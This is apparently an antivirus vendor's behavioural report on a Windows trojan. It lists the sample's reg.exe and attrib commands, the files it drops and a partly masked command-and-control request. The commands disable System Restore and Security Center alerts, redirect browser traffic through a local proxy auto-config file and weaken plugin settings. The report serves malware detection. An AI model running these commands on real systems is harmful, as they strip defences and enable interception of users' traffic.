Technical Information
Malicious functions:
To complicate detection of its presence in the operating system,
blocks the following features:
- System Restore (SR)
- Windows Security Center
Creates and executes the following:
- '%TEMP%\enc.exe' -e %TEMP%\~u %TEMP%\~b
- '%TEMP%\ok29042013.exe'
Executes the following:
- '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Internet Explorer\Control Panel" /v "AdvancedTab" /t reg_dword /d 00000001 /f
- '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Internet Explorer\Control Panel" /v "Autoconfig" /t reg_dword /d 00000001 /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v DisableSR /t REG_DWORD /d 0x00000001 /f
- '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Internet Explorer\Control Panel" /v "ResetWebSettings" /t reg_dword /d 00000001 /f
- '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "ProxyHttp1.1" /t reg_dword /d 00000000 /f
- '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "AutoConfigUrl" /d "file://%TEMP%\CRNJEUFU.txt" /f
- '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Internet Explorer\Control Panel" /v "Autoconfig" /t reg_dword /d 00000001 /f
- '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "ProxyEnable" /t reg_dword /d 00000000 /f
- '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "EnableHttp1_1" /t reg_dword /d 00000001 /f
- '<SYSTEM32>\attrib.exe' +r "%APPDATA%\Mozilla\Firefox\Profiles\cwdgt0y8.default\prefs.js "
- '<SYSTEM32>\attrib.exe' -r "%APPDATA%\Mozilla\Firefox\Profiles\cwdgt0y8.default\prefs.js "
- '<SYSTEM32>\attrib.exe' +r "%APPDATA%\Mozilla\Firefox\Profiles\cwdgt0y8.default\prefs.js"
- '<SYSTEM32>\attrib.exe' -r -a -s -h "%APPDATA%\Mozilla\Firefox\Profiles\cwdgt0y8.default\prefs.js"
- '<SYSTEM32>\find.exe' "prefs.js"
- '<SYSTEM32>\reg.exe' QUERY "HKLM\SOFTWARE\JavaSoft\Java Runtime Environment\" /v JavaHome
- '<SYSTEM32>\reg.exe' QUERY "HKLM\SOFTWARE\JavaSoft\Java Runtime Environment" /v CurrentVersion
- '<SYSTEM32>\find.exe' "Internet Explorer.lnk"
- '<SYSTEM32>\find.exe' /i "java.policy"
- '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\MAIN" /v "Extensions Off Page" /t REG_SZ /d "http://www.go###e.com.br" /f
- '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\internet settings" /v /t REG_DWORD /d 0x00000001 /f
- '<SYSTEM32>\reg.exe' ADD "HKLM\Software\Policies\Google\Chrome" /v AllowOutdatedPlugins /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Internet Explorer\MAIN" /v "Extensions Off Page" /t REG_SZ /d "http://www.go###e.com.br" /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Microsoft\security Center" /v updatesdisablenotify /t REG_DWORD /d 0x00000001 /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System" /v /t REG_DWORD /d 0 /f
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\1.tmp\eAUIHEAuhiaeuhea.bat" "
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Microsoft\security Center" /v firewalldisablenotify /t REG_DWORD /d 0x00000001 /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Microsoft\security Center" /v antivirusdisablenotify /t REG_DWORD /d 0x00000001 /f
- '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "ProxyHttp1.1" /t reg_dword /d 00000000 /f
- '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "ProxyEnable" /t reg_dword /d 00000000 /f
- '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Internet Explorer\Control Panel" /v "ResetWebSettings" /t reg_dword /d 00000001 /f
- '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Internet Explorer\Control Panel" /v "AdvancedTab" /t reg_dword /d 00000001 /f
- '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "EnableHttp1_1" /t reg_dword /d 00000001 /f
- '<SYSTEM32>\reg.exe' query "HKCU\Software\Microsoft\Internet Explorer\TypedURLs"
- '<SYSTEM32>\reg.exe' ADD "HKLM\Software\Policies\Google\Chrome" /v AlwaysAuthorizePlugins /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "AutoConfigUrl" /d "file://%TEMP%\CRNJEUFU.txt" /f
- '<SYSTEM32>\fsutil.exe' file createnew "%TEMP%\tumbs.db" 286"
Modifies file system :
Creates the following files:
- %TEMP%\~b
- %TEMP%\~u
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\KHMHGZ4F\1kzim[1].php
- %TEMP%\CRNJEUFU.txt
- %TEMP%\enc.exe
- %TEMP%\ok29042013.exe
- %TEMP%\1.tmp\eAUIHEAuhiaeuhea.bat
- %TEMP%\foto.gif
Network activity:
Connects to:
- 're###.###siltoucontigo.com.br':80
- 'localhost':1035
TCP:
HTTP GET requests:
- re###.###siltoucontigo.com.br/1kzim.php?a=##########################################
UDP:
- DNS ASK re###.###siltoucontigo.com.br
Miscellaneous:
Searches for the following windows:
- ClassName: 'MS_AutodialMonitor' WindowName: '(null)'
- ClassName: 'MS_WebcheckMonitor' WindowName: '(null)'
- ClassName: '' WindowName: '(null)'
- ClassName: 'EDIT' WindowName: '(null)'
- ClassName: 'Shell_TrayWnd' WindowName: '(null)'
Modifies value of AutoConfigURL parameter
